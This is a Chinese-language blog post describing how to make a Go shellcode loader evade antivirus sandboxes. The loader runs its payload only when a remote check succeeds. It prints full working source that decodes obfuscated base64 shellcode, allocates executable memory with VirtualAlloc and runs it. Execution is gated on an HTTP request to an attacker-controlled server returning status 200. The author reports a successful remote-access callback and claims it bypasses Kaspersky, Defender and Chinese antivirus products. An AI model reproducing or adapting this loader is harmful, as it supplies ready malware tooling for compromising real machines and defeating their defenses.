0x00:前言

之前的golong加载器被无情针对了 (虽然还是能过国产杀软...)

难过中又带着点不甘心 所以这里搞一搞绕过

0x01:免杀原理

其实原理很简单,正如标题所说的:条件触发

0x02:如何做到条件触发

众所周知,现在很多杀软都有云查杀,会把我们的样本扔到沙盒跑一跑。

由于不知道具体规则,这里猜测沙盒可能从两个点对样本进行查杀 第一个是hash/提取的特征 第二种是跑一遍软件看行为。

那我们就一个一个来,首先看一下我们的样本有没有被提取特征,这也是最伤筋动骨的,如果被提取了特征那么就得重新对源码进行修改

将加载的shellcode从源码去掉,然后生成exe查杀:

好家伙,看来确实被提取特征了 ...

这里先不修改源码直接看第二种情况

既然沙盒一定会跑一次exe,那么我们可以给exe设置条件,我们让他执行它才能执行,这样便可以避过沙盒的部分机制,因为沙盒运行软件是无效的,它并不能建立连接。

那怎么做呢 这里提供几种思路

1、设置参数获取用户输入 如果输入参数符合程序规则,则加载shellcode发起连接。

2、通过设置仅自己可控制的条件对程序进行控制

第一条很好实现 比如可以获取用户输入的某个参数 如果等于程序设置好的数值,则进入加载器函数。

第二种其实也很好实现,比如可以在vbs放一个文本文件,程序发起访问访问这个文本,如果文本存在,则将http状态码返回,如果状态码等于200(即文本文件存在)则进入加载器函数。

代码如下:

func main() {
    u, _ := url.Parse("http://192.168.150.131/1.txt")
    q := u.Query()
    u.RawQuery = q.Encode()
    res, err := http.Get(u.String())
    if err != nil {
        return
    }
    resCode := res.StatusCode
    res.Body.Close()
    if err != nil {
        return
    }
    var y int = 200
    if resCode == y {
    run("payload")
    }
}

所以我们只需将其和之前的加载器组合即可

package main

import (
    "encoding/base64"
    "fmt"
    "strings"
    "syscall"
    "unsafe"
    "net/http"
    "net/url"
)
var (
    kernel32     = syscall.NewLazyDLL("kernel32.dll")
    VirtualAlloc = kernel32.NewProc("VirtualAlloc")
    RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)

func build(ddm string){
    str1 :=strings.Replace(ddm, "#", "A", -1 )
    str2 :=strings.Replace(str1, "!", "H", -1 )
    str3 :=strings.Replace(str2, "@", "1", -1 )
    str4 :=strings.Replace(str3, ")", "T", -1 )
    sDec,_ := base64.StdEncoding.DecodeString(str4)
    fmt.Println(sDec)
    addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
    _, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
    syscall.Syscall(addr, 0, 0, 0, 0)

}
func main() {
    u, _ := url.Parse("http://192.168.150.131")
    q := u.Query()
    u.RawQuery = q.Encode()
    res, err := http.Get(u.String())
    if err != nil {
        return
    }
    resCode := res.StatusCode
    res.Body.Close()
    if err != nil {
        return
    }


    var y int = 200
    if resCode == y {
    build("payload")
    }
}

当我想让远控生效时,我只需要将此文本放到vps即可

这里我们运行一下

成功上线

再去杀一下

已经过的七七八八了 比较关键的卡巴斯基 defender 以及国内杀软已经全部绕过了 上面这六个比较偏门基本上遇不到 如果真遇到了 也可以使用更复杂的加密绕过 我这里仅仅是base64而已 。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注